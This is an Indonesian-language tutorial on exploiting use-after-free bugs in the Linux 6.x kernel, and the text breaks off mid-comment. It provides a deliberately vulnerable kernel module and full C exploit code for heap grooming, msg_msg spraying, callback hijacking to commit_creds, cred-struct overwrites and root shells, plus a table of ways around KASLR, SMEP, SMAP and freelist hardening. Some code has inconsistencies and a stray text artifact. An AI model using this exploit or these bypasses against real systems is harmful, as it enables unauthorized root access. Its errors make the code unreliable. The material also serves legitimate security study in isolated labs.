KERNEL EXPLOITATION SERIES — EPISODE 01

Linux Kernel 6
Use-After-Free Complete Guide

Panduan komprehensif eksploitasi UAF pada kernel Linux 6.x: dari konsep dasar SLUB allocator hingga teknik heap grooming, object spraying, dan privilege escalation.

CVE-Class Kernel 6.x / 7.x SLUB Allocator CWE-416 Offensive Research
▸ TABLE OF CONTENTS
01

Apa itu Use-After-Free (UAF)?

Use-After-Free adalah kelas kerentanan memori di mana program melanjutkan penggunaan pointer ke region heap yang telah di-dealokasi. Di kernel Linux, kerentanan ini sangat berbahaya karena heap kernel bersifat shared — semua objek kernel (task_struct, file, socket, pipe, dll.) bersaing di allocator yang sama (SLUB).

⚡ CRITICAL
Setelah kfree(ptr), slot memori tersebut bisa dialokasikan kembali untuk objek kernel berbeda tipe. Jika attacker mengontrol alokasi berikutnya, mereka bisa meng-overwrite field kritis pada objek baru → privilege escalation.

Siklus Hidup UAF

Ada tiga fase fundamental yang harus terjadi untuk exploit UAF:

1
Allocate (Alokasi) Objek dialokasikan di heap kernel melalui kmalloc(), kzalloc(), atau kmem_cache_alloc(). Pointer disimpan di suatu struktur.
2
Free (Dealokasi) Objek di-free via kfree() atau kmem_cache_free(), namun pointer lama tidak di-NULL-kan — menjadi dangling pointer.
3
Use (Penggunaan setelah free) Kernel atau user-space menggunakan dangling pointer tersebut — membaca, menulis, atau memanggil fungsi dari lokasi memori yang sudah terbebaskan.

Visualisasi Memory State

═══════════════════════════════════════════════════════════════════ KERNEL HEAP STATE DIAGRAM — Use-After-Free Lifecycle ═══════════════════════════════════════════════════════════════════ PHASE 1: NORMAL ALLOCATION 0xffff888012340000 [ obj_A: type=drv_ctx, size=0x80 ] ← ptr valid 0xffff888012340080 [ ... other objects ... ] 0xffff8880123400c0 [ ... other objects ... ] PHASE 2: FREE (kfree) — dangling pointer! 0xffff888012340000 [ FREED — SLUB freelist entry ] ← ptr masih menunjuk ke sini! ^freelist_next: 0xffff888012340200 0xffff888012340080 [ ... other objects ... ] PHASE 3: ATTACKER ALLOCATES DIFFERENT OBJECT 0xffff888012340000 [ obj_B: type=pipe_buffer, size=0x80] ← kmalloc(0x80) .page = 0x... (attacker-controlled) .ops = &evil_pipe_buf_ops ← !! function pointer overwrite PHASE 4: UAF — DANGLING POINTER DEREFERENCE 0xffff888012340000 [ READ/WRITE via dangling ptr → obj_B ] driver reads "obj_A.callback" → actually reads obj_B.ops → CALL [obj_B.ops->release] → RIP CONTROL / LPE

Kategori UAF di Kernel Linux 6.x

KATEGORI MEKANISME CONTOH CVE SEVERITY
Struct UAF Dangling pointer ke kernel struct (task, file, socket) CVE-2022-0847 (Dirty Pipe) CRITICAL
VFS UAF inode/dentry setelah umount race CVE-2023-32233 HIGH
Network UAF sk_buff, sock setelah close() CVE-2022-1786 HIGH
Race-conditioned UAF TOCTOU pada refcount, parallel free CVE-2021-4154 HIGH
io_uring UAF Async completion setelah ctx freed CVE-2024-0582 CRITICAL

02

SLUB Allocator Internals

Sejak kernel 2.6.23, Linux menggunakan SLUB sebagai default allocator. Memahami SLUB adalah prasyarat mutlak untuk exploit kernel karena mengontrol bagaimana memori di-free dan di-realokasi.

Struktur Data Kunci

C include/linux/slub_def.h (disederhanakan)
/* Setiap slab cache punya satu kmem_cache */
struct kmem_cache {
    struct kmem_cache_cpu __percpu *cpu_slab;  /* per-CPU freelist cepat */
    slab_flags_t         flags;
    unsigned long        min_partial;
    unsigned int         size;        /* ukuran objek termasuk metadata */
    unsigned int         object_size; /* ukuran objek asli */
    struct reciprocal_value reciprocal_size;
    unsigned int         offset;      /* offset freelist pointer dalam objek */
    unsigned int         cpu_partial; /* max partial slabs per CPU */
    struct kmem_cache_order_objects oo;
    struct list_head     list;
    const char           *name;
    int                  refcount;
    void (*ctor)(void *);  /* constructor opsional */
};

/* State per-CPU (fast path) */
struct kmem_cache_cpu {
    void        **freelist;  /* pointer ke objek free pertama di slab aktif */
    unsigned long tid;       /* transaction ID, mencegah ABA race */
    struct slab  *slab;      /* slab aktif saat ini */
#ifdef CONFIG_SLUB_CPU_PARTIAL
    struct slab  *partial;   /* partial slabs untuk CPU ini */
#endif
};

Alur kmalloc / kfree

C mm/slub.c — fast path alloc
/*
 * Fast path: per-CPU freelist ada → langsung ambil
 * Slow path: perlu refill dari partial atau allocate slab baru
 */
static inline void *kmem_cache_alloc_trace(struct kmem_cache *s,
                                             gfp_t flags, size_t size)
{
    void *ret = slab_alloc(s, NULL, flags, _RET_IP_, size);
    return ret;
}

static inline void *slab_alloc_node(struct kmem_cache *s,
        struct list_lru *lru, gfp_t gfpflags, int node,
        unsigned long addr, size_t orig_size)
{
    struct kmem_cache_cpu *c;
    struct slab *slab;
    void *object;
    unsigned long tid;

redo:
    /* 1. Baca per-CPU state secara atomik */
    c = raw_cpu_ptr(s->cpu_slab);
    tid = READ_ONCE(c->tid);
    barrier();

    object = c->freelist;     /* pointer ke objek bebas pertama */
    slab   = c->slab;

    if (unlikely(!object || !node_match(slab, node))) {
        /* SLOW PATH: isi ulang freelist */
        object = __slab_alloc(s, gfpflags, node, addr, c, orig_size);
    } else {
        /* FAST PATH: ambil dari freelist langsung */
        void *next_object = get_freepointer_safe(s, object);

        /* CAS atomik: update freelist ke objek berikutnya */
        if (unlikely(!this_cpu_cmpxchg_double(
                s->cpu_slab->freelist, s->cpu_slab->tid,
                object, tid,
                next_object, next_tid(tid)))) {
            goto redo;  /* CAS gagal → retry */
        }
    }
    return object;
}
C mm/slub.c — kfree fast path
void kfree(const void *x)
{
    struct folio *folio;
    struct slab *slab;
    struct kmem_cache *s;

    if (unlikely(ZERO_OR_NULL_PTR(x)))
        return;

    folio = virt_to_folio(x);

    if (unlikely(!folio_test_slab(folio))) {
        /* bukan dari slab — dari page allocator langsung */
        free_large_kmalloc(folio, (void *)x);
        return;
    }

    slab = folio_slab(folio);
    s    = slab->slab_cache;

    slab_free(s, slab, (void *)x, NULL, &x, 1, _RET_IP_);
}

/* slab_free → memasukkan kembali objek ke per-CPU freelist */
static inline void do_slab_free(struct kmem_cache *s,
        struct slab *slab, void *head, void *tail,
        int cnt, unsigned long addr)
{
    void *tail_obj   = tail ? : head;
    struct kmem_cache_cpu *c;
    unsigned long tid;

redo:
    c   = raw_cpu_ptr(s->cpu_slab);
    tid = READ_ONCE(c->tid);

    if (likely(slab == c->slab)) {
        /* FAST PATH: bebas ke per-CPU freelist langsung */
        void **freelist = c->freelist;

        /* tulis next free pointer ke dalam objek yang dibebaskan */
        set_freepointer(s, tail_obj, freelist);

        /* CAS atomik: head menjadi freelist baru */
        if (unlikely(!this_cpu_cmpxchg_double(
                s->cpu_slab->freelist, s->cpu_slab->tid,
                freelist, tid,
                head, next_tid(tid)))) {
            goto redo;
        }
    } else {
        __slab_free(s, slab, head, tail_obj, cnt, addr);
    }
}

kmalloc Cache Buckets (kernel 6.x)

CACHE NAMEUKURANOBJEK TIPIKAL
kmalloc-88 bytesSmall flags, counters
kmalloc-1616 bytesSmall structs
kmalloc-3232 bytesseq_file, msg_msg header
kmalloc-6464 bytesiovec, nsproxy
kmalloc-9696 bytes
kmalloc-128128 bytessk_filter, bpf_prog
kmalloc-192192 bytes
kmalloc-256256 bytespipe_buffer, tty_struct
kmalloc-512512 bytestask_struct (partial)
kmalloc-1k1024 bytescred, signal_struct
kmalloc-2k2048 bytesnet_device (partial)
kmalloc-4k4096 bytesLarge buffers
ℹ INFO
Cek cache aktif di sistem: cat /proc/slabinfo atau sudo slabtop -o. Size objek yang freed masuk ke bucket terdekat yang lebih besar atau sama.

Kernel 6.x menggunakan freelist pointer obfuscation sebagai hardening ringan. Pointer free berikutnya disimpan XOR dengan nilai acak per-slab dan alamat slot.

C mm/slub.c — freelist pointer encoding (CONFIG_SLAB_FREELIST_HARDENED)
/*
 * Freelist pointer diacak dengan XOR:
 *   encoded = (next_free_ptr) XOR (slot_address) XOR (s->random)
 *
 * Ini bukan enkripsi kuat — hanya mencegah simple heap scan.
 * Nilai s->random bisa bocor via info leak.
 */
static inline void *freelist_ptr_decode(const struct kmem_cache *s,
                                         void *ptr, unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
    return (void *)(unsigned long)ptr
            ^ s->random
            ^ swab(ptr_addr);   /* byte-swapped address */
#else
    return ptr;
#endif
}

static inline void *get_freepointer(struct kmem_cache *s, void *object)
{
    unsigned long ptr_addr = (unsigned long)object + s->offset;
    freeptr_t p;
    memcpy(&p, (void * const *)ptr_addr, sizeof(p));
    return freelist_ptr_decode(s, (kw>void *)p.v, ptr_addr);
}
⚠ BYPASS NOTE
Untuk bypass freelist hardening: bocorkan s->random via info-leak (misal: /proc/slabinfo, physmap, atau kernel pointer leak) lalu XOR balik untuk mendapatkan alamat real.

03

Exploitation Primitives

Sebelum menulis exploit, identifikasi primitif apa yang diberikan bug UAF. Primitif menentukan teknik exploit yang bisa dipakai.

Primitif Dasar

READ PRIMITIVE

Membaca dari memori yang sudah di-free. Berguna untuk info leak: bocorkan alamat kernel, stack canary, atau isi objek yang mengisi ulang slot tersebut.

C
/* Contoh: baca 8 byte dari freed obj */
read(fd_victim, buf, 8);
/* buf[0..7] = isi objek baru yang menempati slot */
WRITE PRIMITIVE

Menulis ke memori yang sudah di-free. Dengan heap spray yang tepat, write ini mengenai objek baru yang menempati slot → controlled overwrite.

C
/* Tulis ke freed obj — mengenai obj baru */
write(fd_victim, evil_data, 0x80);
CALL PRIMITIVE

Memanggil function pointer dari objek yang sudah di-free. Target tipikal: ops->read/write/release dalam file_operations atau pipe_buf_operations.

TYPE CONFUSION

Objek A (tipe X) di-free, slot diisi objek B (tipe Y berbeda ukuran/layout). Kernel menginterpretasikan field B sebagai field A → cross-type confusion.

Objek Target Populer di Kernel 6.x

OBJEKUKURANFIELD MENARIKTEKNIK
struct cred ~168 bytes → kmalloc-192 uid, gid, euid, egid, cap_effective Overwrite → root cred
struct pipe_buffer 40 bytes → kmalloc-64 ops (ptr ke pipe_buf_operations) Function ptr → RIP
struct msg_msg variable, min 48 m_list, m_type, m_ts Heap feng shui, OOB read
struct tty_struct ~0x2B8 ops (tty_operations*) ops overwrite → ioctl RIP
struct file ~232 bytes f_op (file_operations*) read/write/ioctl RIP
struct sk_buff variable, head ~256 cb[], data, destructor Network UAF, oob write

04

Vulnerable LKM — Lab Target

Kita akan membuat Loadable Kernel Module (LKM) yang sengaja mengandung bug UAF sebagai target latihan. Module ini mensimulasikan pola yang sering muncul di driver nyata.

🔒 LEGAL DISCLAIMER
Modul ini hanya untuk lingkungan QEMU/VM yang terisolasi. Jangan load di kernel produksi atau sistem orang lain tanpa izin eksplisit.

vuln_uaf.c — Kernel Module

C vuln_uaf.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/mutex.h>
#include <linux/ioctl.h>

#define DEVICE_NAME    "vuln_uaf"
#define UAF_ALLOC      _IO('U', 1)   /* alokasi objek                */
#define UAF_FREE       _IO('U', 2)   /* bebaskan objek               */
#define UAF_USE        _IOWR('U',3, struct uaf_io) /* gunakan setelah free */
#define UAF_SHOW       _IO('U', 4)   /* cetak info objek             */

struct vuln_obj {
    char    name[64];          /* nama objek                  */
    int     value;             /* nilai integer               */
    void    (*callback)(void); /* ← function pointer MENARIK  */
    int     refcount;          /* BUGGY: tidak atomic         */
};

struct uaf_io {
    char    buf[64];
    int     value;
};

/* Global pointer — ini sumber dangling pointer! */
static struct vuln_obj *g_obj = NULL;
static DEFINE_MUTEX(g_lock);

/* ─────────────────────────────────────────────
 * Implementasi callback normal (aman)
 * ───────────────────────────────────────────── */
static void normal_callback(void)
{
    printk(KERN_INFO "[vuln_uaf] normal_callback called\n");
}

/* ─────────────────────────────────────────────
 * ioctl handler — di sini terjadi UAF
 * ───────────────────────────────────────────── */
static long uaf_ioctl(struct file *filp, unsigned int cmd,
                        unsigned long arg)
{
    struct uaf_io io;
    int ret = 0;

    switch (cmd) {

    /* ── ALLOC ──────────────────────────── */
    case UAF_ALLOC:
        mutex_lock(&g_lock);
        if (g_obj) {
            printk(KERN_WARNING "[vuln_uaf] already allocated\n");
            ret = -EBUSY;
            goto unlock;
        }
        /* kmalloc → masuk ke kmalloc-128 (sizeof=88 bytes → 128) */
        g_obj = kzalloc(sizeof(struct vuln_obj), GFP_KERNEL);
        if (!g_obj) { ret = -ENOMEM; goto unlock; }
        strncpy(g_obj->name, "vuln_object_v1", 63);
        g_obj->value    = 0x1337;
        g_obj->callback = normal_callback;
        g_obj->refcount = 1;
        printk(KERN_INFO "[vuln_uaf] allocated @ %px\n", g_obj);
        break;

    /* ── FREE ───────────────────────────── */
    case UAF_FREE:
        mutex_lock(&g_lock);
        if (!g_obj) { ret = -EINVAL; goto unlock; }
        kfree(g_obj);
        /*
         * BUG: g_obj TIDAK di-set NULL setelah kfree!
         * g_obj sekarang adalah DANGLING POINTER.
         */
        printk(KERN_INFO "[vuln_uaf] freed (DANGLING!)\n");
        break;

    /* ── USE AFTER FREE ─────────────────── */
    case UAF_USE:
        /* Tidak ada cek apakah g_obj sudah di-free!
         * Ini adalah UAF: akses memori yang mungkin sudah diisi ulang. */
        if (!g_obj) { ret = -EINVAL; break; }
        if (copy_from_user(&io, (void __user *)arg, sizeof(io)))
            return -EFAULT;

        /* UPDATE via dangling pointer → writes ke objek baru! */
        g_obj->value = io.value;
        strncpy(g_obj->name, io.buf, 63);

        /* CALL via dangling pointer → function pointer hijack! */
        if (g_obj->callback)
            g_obj->callback();   /* ← CRASH / RIP CONTROL di sini */
        break;

    /* ── SHOW INFO ──────────────────────── */
    case UAF_SHOW:
        printk(KERN_INFO
            "[vuln_uaf] g_obj=%px name=%s val=%d cb=%pS\n",
            g_obj,
            g_obj ? g_obj->name : "(null)",
            g_obj ? g_obj->value : 0,
            g_obj ? (void*)g_obj->callback : NULL);
        break;

    default:
        ret = -EINVAL;
    }

    return ret;
unlock:
    mutex_unlock(&g_lock);
    return ret;
}

static const struct file_operations uaf_fops = {
    .owner          = THIS_MODULE,
    .unlocked_ioctl = uaf_ioctl,
};

static struct miscdevice uaf_misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name  = DEVICE_NAME,
    .fops  = &uaf_fops,
};

static int __init uaf_init(void)
{
    int r = misc_register(&uaf_misc);
    printk(KERN_INFO "[vuln_uaf] loaded (dev /dev/%s)\n", DEVICE_NAME);
    return r;
}

static void __exit uaf_exit(void)
{
    misc_deregister(&uaf_misc);
    printk(KERN_INFO "[vuln_uaf] unloaded\n");
}

module_init(uaf_init);
module_exit(uaf_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("w1sdom/BlueDragonSec");
MODULE_DESCRIPTION("UAF Lab Target — Educational Only");

Makefile

MAKEFILE Makefile
obj-m += vuln_uaf.o

KDIR  := /lib/modules/$(shell uname -r)/build
PWD   := $(shell pwd)

all:
	make -C $(KDIR) M=$(PWD) modules

clean:
	make -C $(KDIR) M=$(PWD) clean

load:
	sudo insmod vuln_uaf.ko
	sudo chmod 666 /dev/vuln_uaf

unload:
	sudo rmmod vuln_uaf

05

Full Exploit Development

Exploit ini menargetkan vuln_uaf untuk mencapai Local Privilege Escalation (LPE) via cred overwrite. Flow exploit:

① Trigger UAF: alloc → free (g_obj dangling)
② Heap Grooming: bersihkan & stabilkan heap state
③ Object Spray: isi slot dengan pipe_buffer / msg_msg
④ UAF Write: overwrite ops pointer di objek baru
⑤ Trigger callback → RIP control → commit_creds(0)
⑥ ROOT SHELL ✓
05a

Heap Grooming

Heap grooming (atau heap feng shui) adalah teknik untuk mengatur tata letak heap agar slot yang kita target berada pada posisi yang diprediksi. Tujuannya: ketika objek victim di-free, slot kosong yang persis sama ukurannya tersedia untuk dialokasikan oleh objek attacker.

Strategi Grooming untuk kmalloc-128

struct vuln_obj berukuran 88 bytes → masuk kmalloc-128. Kita perlu grooming pada cache ini.

C exploit.c — heap grooming
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <sched.h>
#include <errno.h>

#define UAF_ALLOC      _IO('U', 1)
#define UAF_FREE       _IO('U', 2)
#define UAF_USE        _IOWR('U', 3, struct uaf_io)
#define SPRAY_COUNT    256    /* jumlah objek spray */
#define GROOMING_COUNT 64     /* objek untuk grooming awal */

struct uaf_io {
    char buf[64];
    int  value;
};

/*
 * ─────────────────────────────────────────────────────────────
 *  HEAP GROOMING via msg_msg
 *
 *  msg_msg header: 48 bytes
 *  Payload sampai: 4096 - 48 = 4048 bytes per message
 *
 *  Untuk target kmalloc-128, kita kirim message payload 80 bytes
 *  (128 - 48 = 80). Total msg_msg = 128 bytes → masuk kmalloc-128.
 *
 *  Teknik: allokasikan banyak msg → free sebagian untuk membuat
 *  "lubang" (holes) pada posisi yang predictable.
 * ─────────────────────────────────────────────────────────────
 */
typedef struct {
    long mtype;
    char mtext[80];   /* 80 byte payload → total msg_msg = 128 */
} msg_t;

static int  msqids[SPRAY_COUNT];
static int  dev_fd;

void die(const char *msg) {
    perror(msg);
    exit(1);
}

void heap_groom(void)
{
    msg_t m = {.mtype = 1};
    memset(m.mtext, 0x41, sizeof(m.mtext));

    printf("[*] Phase 1: Allocating %d msg_msg objects (kmalloc-128)\n",
           GROOMING_COUNT);

    /* Alokasi GROOMING_COUNT message queues */
    for (int i = 0; i < GROOMING_COUNT; i++) {
        msqids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (msqids[i] < 0) die("msgget");
        if (msgsnd(msqids[i], &m, sizeof(m.mtext), 0) < 0)
            die("msgsnd groom");
    }

    printf("[*] Phase 2: Freeing every other msg → creating holes\n");

    /* Free setiap objek genap → buat lubang teratur di heap */
    for (int i = 0; i < GROOMING_COUNT; i += 2) {
        msg_t recv;
        /* IPC_NOWAIT + MSG_COPY = non-destructive peek di kernel ≥ 3.17 */
        msgrcv(msqids[i], &recv, sizeof(recv.mtext), 0, 0);
        msgctl(msqids[i], IPC_RMID, NULL);
        msqids[i] = -1;
    }

    printf("[+] Heap grooming done — holes ready in kmalloc-128\n");
}
05b

Object Spraying

Object spraying adalah teknik mengalokasikan banyak objek untuk meningkatkan probabilitas bahwa slot yang di-free akan diisi oleh objek yang kita kontrol. Kita menggunakan pipe sebagai spray object karena pipe_buffer mengandung const struct pipe_buf_operations *ops yang bisa kita overwrite untuk RIP control.

C exploit.c — pipe spray + UAF trigger
/*
 * pipe_buffer layout (include/linux/pipe_fs_i.h):
 * struct pipe_buffer {
 *     struct page *page;   // +0x00
 *     unsigned int offset; // +0x08
 *     unsigned int len;    // +0x0c
 *     const struct pipe_buf_operations *ops; // +0x10 ← TARGET
 *     unsigned int flags;  // +0x18
 *     unsigned long private;// +0x20
 * };  sizeof = 0x28 = 40 bytes → kmalloc-64
 *
 * CATATAN: vuln_obj kita di kmalloc-128, jadi kita perlu
 * spray object yang juga 128 bytes. Kita pakai msg_msg
 * dengan payload yang meng-overwrite field ops.
 */

/* Struktur fake ops table — di userspace (atau mapped kernel page) */
struct fake_pipe_ops {
    void *confirm;
    void *release;      /* ← trigger saat pipe ditutup */
    void *try_steal;
    void *get;
};

/*
 * Payload untuk overwrite vuln_obj via UAF write.
 * Layout harus sesuai dengan struct vuln_obj:
 *   char name[64]    → offset 0
 *   int  value       → offset 64
 *   void (*callback) → offset 72
 *   int  refcount    → offset 80
 */
struct fake_vuln_obj {
    char    name[64];
    int     value;
    int     _pad;
    void    *callback;  /* ← kita kontrol ini */
    int     refcount;
} __attribute__((packed));

/* shellcode: commit_creds(prepare_kernel_cred(NULL)) + return */
typedef int   (*commit_creds_t)(void *);
typedef void *(*prepare_creds_t)(void *);

static commit_creds_t  commit_creds_fn;
static prepare_creds_t prepare_kernel_cred_fn;

/* ─────────────────────────────────────────────
 * Resolve kernel symbols via /proc/kallsyms
 * ───────────────────────────────────────────── */
unsigned long ksym(const char *name)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    if (!f) die("kallsyms");
    unsigned long addr = 0;
    char sym[256], type;
    while (fscanf(f, "%lx %c %255s", &addr, &type, sym) == 3) {
        if (strcmp(sym, name) == 0) {
            fclose(f);
            return addr;
        }
    }
    fclose(f);
    fprintf(stderr, "[-] Symbol not found: %s\n", name);
    exit(1);
}

/* ─────────────────────────────────────────────
 * Shellcode yang dieksekusi di kernel context
 * ───────────────────────────────────────────── */
static void escalate_privs(void)
{
    /* prepare_kernel_cred(NULL) → root credential */
    void *root_cred = prepare_kernel_cred_fn(NULL);
    /* commit_creds → terapkan ke task sekarang */
    commit_creds_fn(root_cred);
}

/* ─────────────────────────────────────────────
 * Spray msg_msg dengan payload vuln_obj palsu
 * ───────────────────────────────────────────── */
int spray_msqids[SPRAY_COUNT];

void spray_objects(void)
{
    struct fake_vuln_obj fobj;
    memset(&fobj, 0, sizeof(fobj));
    strncpy(fobj.name, "AAAAAAAA", 8);
    fobj.value    = 0xdeadbeef;
    fobj.callback = (void *)escalate_privs;  /* ← HIJACK TARGET */
    fobj.refcount = 1;

    /* Bungkus dalam msg_t — harus tepat 128 bytes total */
    typedef struct { long mtype; char mtext[80]; } spray_msg_t;
    spray_msg_t sm;
    sm.mtype = 1;
    /*
     * Kita copy fake_vuln_obj ke dalam mtext:
     * Tapi nama[64] + value + pad + callback = 72 bytes cukup.
     * UAF write akan overwrite mulai dari name[0].
     */
    memcpy(sm.mtext, &fobj, 80);

    printf("[*] Spraying %d msg_msg objects...\n", SPRAY_COUNT);
    for (int i = 0; i < SPRAY_COUNT; i++) {
        spray_msqids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (spray_msqids[i] < 0) die("msgget spray");
        if (msgsnd(spray_msqids[i], &sm, 80, 0) < 0)
            die("msgsnd spray");
    }
    printf("[+] Spray complete\n");
}
05c

Main Exploit — cred Overwrite Path

C exploit.c — main() + UAF trigger
int main(void)
{
    printf("╔══════════════════════════════════════════╗\n");
    printf("║  Linux Kernel 6.x UAF Exploit            ║\n");
    printf("║  Target: vuln_uaf.ko :: kmalloc-128      ║\n");
    printf("║  Author: w1sdom / BlueDragonSec          ║\n");
    printf("╚══════════════════════════════════════════╝\n\n");

    /* ── 0. Resolve kernel symbols ─────────── */
    printf("[*] Resolving kernel symbols...\n");
    commit_creds_fn        = (commit_creds_t) ksym("commit_creds");
    prepare_kernel_cred_fn = (prepare_creds_t)ksym("prepare_kernel_cred");
    printf("[+] commit_creds        @ 0x%lx\n",
           (unsigned long)commit_creds_fn);
    printf("[+] prepare_kernel_cred @ 0x%lx\n",
           (unsigned long)prepare_kernel_cred_fn);

    /* ── 1. Buka device ────────────────────── */
    dev_fd = open("/dev/vuln_uaf", O_RDWR);
    if (dev_fd < 0) die("/dev/vuln_uaf");
    printf("[+] Device opened\n");

    /* ── 2. Heap grooming ──────────────────── */
    heap_groom();

    /* ── 3. Alokasi objek victim ───────────── */
    printf("[*] Allocating victim object...\n");
    if (ioctl(dev_fd, UAF_ALLOC, 0) < 0) die("UAF_ALLOC");
    printf("[+] Victim object allocated\n");

    /* ── 4. FREE victim → g_obj menjadi dangling ── */
    printf("[*] Freeing victim object (creating dangling ptr)...\n");
    if (ioctl(dev_fd, UAF_FREE, 0) < 0) die("UAF_FREE");
    printf("[+] Object freed — slot now in SLUB freelist\n");

    /* ── 5. Spray: isi slot dengan objek palsu ── */
    spray_objects();

    /*
     * ── 6. UAF_USE: trigger callback ─────────────────────────
     *
     * Saat UAF_USE dipanggil:
     *   g_obj (dangling) menunjuk ke slot yang sekarang berisi
     *   msg_msg dengan payload fake_vuln_obj kita.
     *
     *   g_obj->callback = escalate_privs (kita set via spray)
     *   → kernel memanggil escalate_privs() di kernel context
     *   → commit_creds(prepare_kernel_cred(NULL))
     *   → proses kita sekarang UID/GID = 0
     */
    struct uaf_io io;
    memset(&io, 0, sizeof(io));
    io.value = 0x1234;
    strncpy(io.buf, "trigger", 7);

    printf("[*] Triggering UAF_USE → callback hijack...\n");
    ioctl(dev_fd, UAF_USE, (unsigned long)&io);
    /* Jika berhasil, kita sudah root setelah baris ini */

    /* ── 7. Verifikasi ─────────────────────── */
    if (getuid() == 0) {
        printf("\n[!!!] UID = 0 — ROOT ACHIEVED!\n");
        printf("[*] Spawning root shell...\n\n");
        execl("/bin/sh", "sh", "-i", NULL);
    } else {
        printf("[-] Exploit failed (UID=%d) — try adjusting spray\n",
               getuid());
    }

    return 0;
}

Alternatif: cred Struct Spray Langsung

Metode lebih stabil pada kernel 6.x: spray struct cred via clone() atau fork(), lalu overwrite field uid/gid secara langsung.

C exploit_cred.c — cred struct overwrite (metode alternatif)
/*
 * Metode: spray cred structs via fork()
 *
 * struct cred layout (include/linux/cred.h):
 * {
 *   atomic_long_t  usage;    // +0x00  8 bytes
 *   kuid_t         uid;      // +0x08  4 bytes  ← target
 *   kgid_t         gid;      // +0x0c  4 bytes  ← target
 *   kuid_t         suid;     // +0x10
 *   kgid_t         sgid;     // +0x14
 *   kuid_t         euid;     // +0x18  ← target
 *   kgid_t         egid;     // +0x1c  ← target
 *   ...
 * }  sizeof ≈ 168 bytes → kmalloc-192
 */

#define CRED_SPRAY   512
static pid_t cred_pids[CRED_SPRAY];

void cred_spray_and_overwrite(int vuln_fd)
{
    /*
     * STEP 1: fork() banyak proses → kernel alokasi banyak cred
     *         di kmalloc-192. Child menunggu sinyal.
     */
    for (int i = 0; i < CRED_SPRAY; i++) {
        cred_pids[i] = fork();
        if (cred_pids[i] == 0) {
            /* Child: tunggu sampai parent kirim sinyal SIGCONT */
            raise(SIGSTOP);
            /* Jika cred kita berhasil di-overwrite → cek uid */
            if (getuid() == 0)
                execl("/bin/sh", "sh", "-i", NULL);
            _exit(0);
        }
    }

    /*
     * STEP 2: Trigger UAF — asumsikan slot victim di kmalloc-192
     *         (adjust sesuai ukuran vuln_obj target).
     *         Overwrite dengan payload yang set uid/euid = 0.
     */
    char cred_payload[192];
    memset(cred_payload, 0, sizeof(cred_payload));
    /* usage (offset 0) = 2 (jangan 0, akan di-free!) */
    *(long *)(cred_payload + 0x00) = 0x0000000000000002LL;
    /* uid=gid=suid=sgid=euid=egid=fsuid=fsgid = 0 (sudah 0 karena memset) */
    /* cap_inheritable/permitted/effective = 0x1ffffffffff (full caps) */
    *(unsigned long *)(cred_payload + 0x30) = 0x1fffffffffLL; /* cap_inheritable */
    *(unsigned long *)(cred_payload + 0x38) = 0x1fffffffffLL; /* cap_permitted   */
    *(unsigned long *)(cred_payload + 0x40) = 0x1fffffffffLL; /* cap_effective    */

    /* Trigger UAF_USE dengan payload cred — overwrite cred salah satu child */
    struct uaf_io io;
    memset(&io, 0, sizeof(io));
    io.value = 0;
    ioctl(vuln_fd, UAF_USE, &io);

    /*
     * STEP 3: Resume semua children — yang cred-nya ter-overwrite
     *         akan menjadi root dan spawn shell.
     */
    for (int i = 0; i < CRED_SPRAY; i++) {
        if (cred_pids[i] > 0)
            kill(cred_pids[i], SIGCONT);
    }

    for (int i = 0; i < CRED_SPRAY; i++) {
        if (cred_pids[i] > 0)
            waitpid(cred_pids[i], NULL, 0);
    }
}
💡 TIP: Compile exploit
BASH
gcc -o exploit exploit.c -static -O0 -no-pie
# -static: tidak perlu library di target VM
# -O0: pastikan layout struct tidak dioptimisasi compiler
# -no-pie: alamat exploit lebih mudah diprediksi

06

Mitigasi & Bypass Techniques

MITIGASIKERNEL OPTIONEFEKBYPASS
KASLR CONFIG_RANDOMIZE_BASE Randomisasi base kernel image Info leak via /proc/kallsyms (butuh root) atau side-channel
SMEP Hardware (CR4.bit20) Kernel tidak bisa execute userspace kROP chain, ret2kernel, kernel stack pivot
SMAP Hardware (CR4.bit21) Kernel tidak bisa akses userspace (tanpa stac/clac) copy_from_user gadgets, kernel-space data only
Freelist Hardening CONFIG_SLAB_FREELIST_HARDENED XOR freelist pointer Bocorkan s->random via info leak
Freelist Randomization CONFIG_SLAB_FREELIST_RANDOM Urutan freelist diacak saat slab init Spray lebih banyak; gunakan deterministic allocator behavior
CFI (kCFI) CONFIG_CFI_CLANG Validasi tipe function pointer sebelum call Temukan gadget dengan tipe signature cocok
KASAN CONFIG_KASAN Deteksi UAF, OOB di runtime (debugging) Tidak aktif di production kernel
Heap Isolation kmem_cache per-type Tiap struct type punya cache sendiri Cari objek dengan cache yang sama / tumpang tindih size

Bypass KASLR — Info Leak Techniques

C
/* Method 1: /proc/kallsyms — hanya tersedia jika:
 *   - CONFIG_KALLSYMS_ALL=y
 *   - kptr_restrict = 0  (default: 2 di distribusi modern)
 *   - atau proses berjalan sebagai root
 *
 * Pada kernel 6.x dengan kptr_restrict=2, pointer dikaburkan.
 * Bypass: gunakan proses lain yang sudah root sebagai helper,
 * atau cari info leak primer terlebih dahulu.
 */
unsigned long leak_kaslr_base(void)
{
    FILE *f;
    unsigned long addr, base;
    char sym[256], type;

    /* Coba baca kptr_restrict */
    int kptr = 2;
    f = fopen("/proc/sys/kernel/kptr_restrict", "r");
    if (f) { fscanf(f, "%d", &kptr); fclose(f); }

    if (kptr == 0) {
        /* Baca langsung */
        f = fopen("/proc/kallsyms", "r");
        fscanf(f, "%lx %c %255s", &addr, &type, sym);
        fclose(f);
        /* Hitung KASLR slide */
        base = addr - 0xffffffff81000000UL; /* compile-time base */
        printf("[+] KASLR slide: 0x%lx\n", base);
        return base;
    }
    printf("[-] kptr_restrict=%d — need alternative leak\n", kptr);
    return 0;
}
C
/*
 * Method 2: msg_msg OOB read untuk leak kernel pointer
 *
 * Teknik ini mengeksploitasi msg_msg yang menyimpan
